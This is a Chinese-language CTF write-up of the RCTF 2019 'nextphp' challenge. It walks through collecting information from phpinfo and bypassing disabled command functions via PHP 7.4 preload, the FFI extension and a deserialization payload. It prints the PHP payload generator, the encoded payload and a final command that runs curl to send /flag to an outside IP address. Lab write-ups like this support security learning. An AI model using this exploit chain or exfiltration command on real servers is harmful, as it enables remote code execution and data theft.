写在正文前
神仙题,压根不会。
听说跟着神仙的思路走一遍印象会深点,Just mo it 。2333
正文
nextphp
整体思路:phpinfo得知存在preload.php文件,并与opcache拓展有关,查看preload.php源码确定为反序列化漏洞。
题目直接给了一句话,起手不俗,tql
eval能干啥?执行php代码:读取文件,命令执行......
附上一篇:php花式读取文件
是我太天真。记住记住,信息收集很重要,比如:phpinfo。
关注点:disable_functions/open_basedir/全文搜索.php/.bak/.balabala(大佬总是能够从纷繁复杂的乱象里一眼看出问题所在,何也?exp)
1.从disable_functions知,所有命令执行函数都被禁用了。
2.从open_basedir知网站物理路径(虽然不知道啥用)
3.全文检索.php,除了index.php就只剩preload.php了
查看preload.php代码
此外,注意到preload在一个叫做opcache的拓展里,opcache,php7.4的新特性:
https://wiki.php.net/rfc/preload
全文搜索dangerous/risk/warning/...等字眼
ext/FFI危险?phpinfo里搜索下是否开启此拓展。
启动了
深入了解一波FFI
https://www.php.net/manual/en/ffi.examples-basic.php
https://www.php.net/manual/en/ffi.examples-callback.php
可以看到在 FFI::cdef 不传第二个参数时,可以直接调用 PHP 源码中的函数,于是我们可以考虑直接调用 PHP 里执行命令的函数:
<?php
final class A implements Serializable { protected $data = [ 'ret' => null, 'func' => 'FFI::cdef', 'arg' => 'int system(char *command);' ]; private function run () { echo "run<br>"; $this->data['ret'] = $this->data['func']($this->data['arg']); } public function serialize () { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __get ($key) { return $this->data[$key]; } public function __set ($key, $value) { throw new \Exception('No implemented'); } public function __construct () { echo "__construct<br>"; } } $a = new A(); echo base64_encode(serialize($a)); // 即payload
//QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319
最后反序列化执行
nextphp.2019.rctf.rois.io/?a=unserialize(base64_decode('payload'))->__serialize()['ret']->system('curl -d @/flag 47.107.226.162:7777');
得flag
补充:在获取preload文件时,可以直接读取